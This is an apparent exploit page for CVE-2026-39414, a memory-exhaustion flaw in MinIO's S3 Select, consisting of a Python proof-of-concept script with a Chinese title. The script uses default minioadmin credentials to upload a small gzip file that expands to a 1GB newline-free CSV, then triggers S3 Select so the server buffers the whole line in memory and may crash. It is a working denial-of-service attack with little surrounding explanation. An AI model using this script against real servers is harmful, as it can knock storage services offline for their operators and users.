CVE-2026-39414 MinIO S3 Select 内存耗尽漏洞

import boto3 import gzip import io # Configuration ENDPOINT = 'http://localhost:9000' ACCESS_KEY = 'minioadmin' SECRET_KEY = 'minioadmin' BUCKET_NAME = 'test-bucket' OBJECT_NAME = 'exploit.csv.gz' # Create malicious CSV data (No newlines) # Generates a large amount of data that is compressed to a small size print("Generating payload...") malicious_data = b'A' * (1024 * 1024 * 1024) # 1GB of 'A's # Compress the data buf = io.BytesIO() with gzip.GzipFile(fileobj=buf, mode='wb') as f: f.write(malicious_data) compressed_data = buf.getvalue() print(f"Compressed size: {len(compressed_data)} bytes") # Initialize S3 client s3 = boto3.client('s3', endpoint_url=ENDPOINT, aws_access_key_id=ACCESS_KEY, aws_secret_access_key=SECRET_KEY) # Upload the malicious file print("Uploading payload...") s3.put_object(Bucket=BUCKET_NAME, Key=OBJECT_NAME, Body=compressed_data) # Trigger S3 Select to parse the CSV # This will cause the server to decompress and read the 1GB line into memory print("Triggering S3 Select...") sql_query = "SELECT * FROM S3Object" try: response = s3.select_object_content( Bucket=BUCKET_NAME, Key=OBJECT_NAME, Expression=sql_query, ExpressionType='SQL', InputSerialization={'CSV': {}, 'CompressionType': 'GZIP'}, OutputSerialization={'CSV': {}} ) # Consuming the event stream to ensure the request is processed for event in response['Payload']: pass print("Exploit triggered. Check server memory status.") except Exception as e: print(f"Error (Server might have crashed): {e}")